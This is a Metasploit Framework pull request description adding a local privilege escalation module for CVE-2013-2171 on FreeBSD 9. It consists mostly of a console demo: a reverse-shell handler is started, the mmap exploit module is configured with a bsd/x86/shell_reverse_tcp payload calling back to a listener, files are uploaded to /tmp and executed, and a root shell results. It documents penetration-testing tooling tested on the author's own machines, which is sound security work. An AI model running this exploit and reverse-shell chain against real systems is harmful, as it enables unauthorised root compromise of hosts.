rapid7/metasploit-framework — pull request #2014 by wchen-r7 (2013-06-24 18:59:49+00:00)
Title: Add CVE-2013-2171: FreeBSD 9 Address Space Manipulation Module

This is based on Hunger's PoC. Tested on Free BSD 9.0 and 9.1. You can download them here:
ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/i386/ISO-IMAGES/9.0/
ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/i386/ISO-IMAGES/9.1/

Demo:

msf exploit(handler) > exploit -z

[*] Started reverse handler on 10.0.1.76:4444
[*] Starting the payload handler...
[*] Command shell session 1 opened (10.0.1.76:4444 -> 10.0.1.123:34287) at 2013-06-24 13:57:53 -0500
[*] Session 1 created in the background.
msf exploit(handler) > use exploit/freebsd/local/mmap
msf exploit(mmap) > set session 1
session => 1
msf exploit(mmap) > set payload bsd/x86/shell_reverse_tcp
payload => bsd/x86/shell_reverse_tcp
msf exploit(mmap) > set lhost 10.0.1.76
lhost => 10.0.1.76
msf exploit(mmap) > exploit

[*] Started reverse handler on 10.0.1.76:4444
[*] Payload /tmp/OUWy uploaded.
[*] Exploit /tmp/qfzdc uploaded.
[*] Executing /tmp/qfzdc
[*] Command shell session 2 opened (10.0.1.76:4444 -> 10.0.1.123:33854) at 2013-06-24 13:58:29 -0500
[!] Removing /tmp/OUWy
[!] Removing /tmp/qfzdc

4204206256
AbJkWzgZjfnkhysbwpeTLCEZHERBLByL
KROYOSAuTDIDGjpdITorBpxHMEblkLUZ
eLPShWoCdWeSVzbKwevrwkqCKCiKaWIE
uname -a
FreeBSD freebsd 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243826: Tue Dec 4 06:55:39 UTC 2012 root@obrian.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386
id
uid=0(root) gid=0(wheel) egid=1001(sinn3r) groups=1001(sinn3r)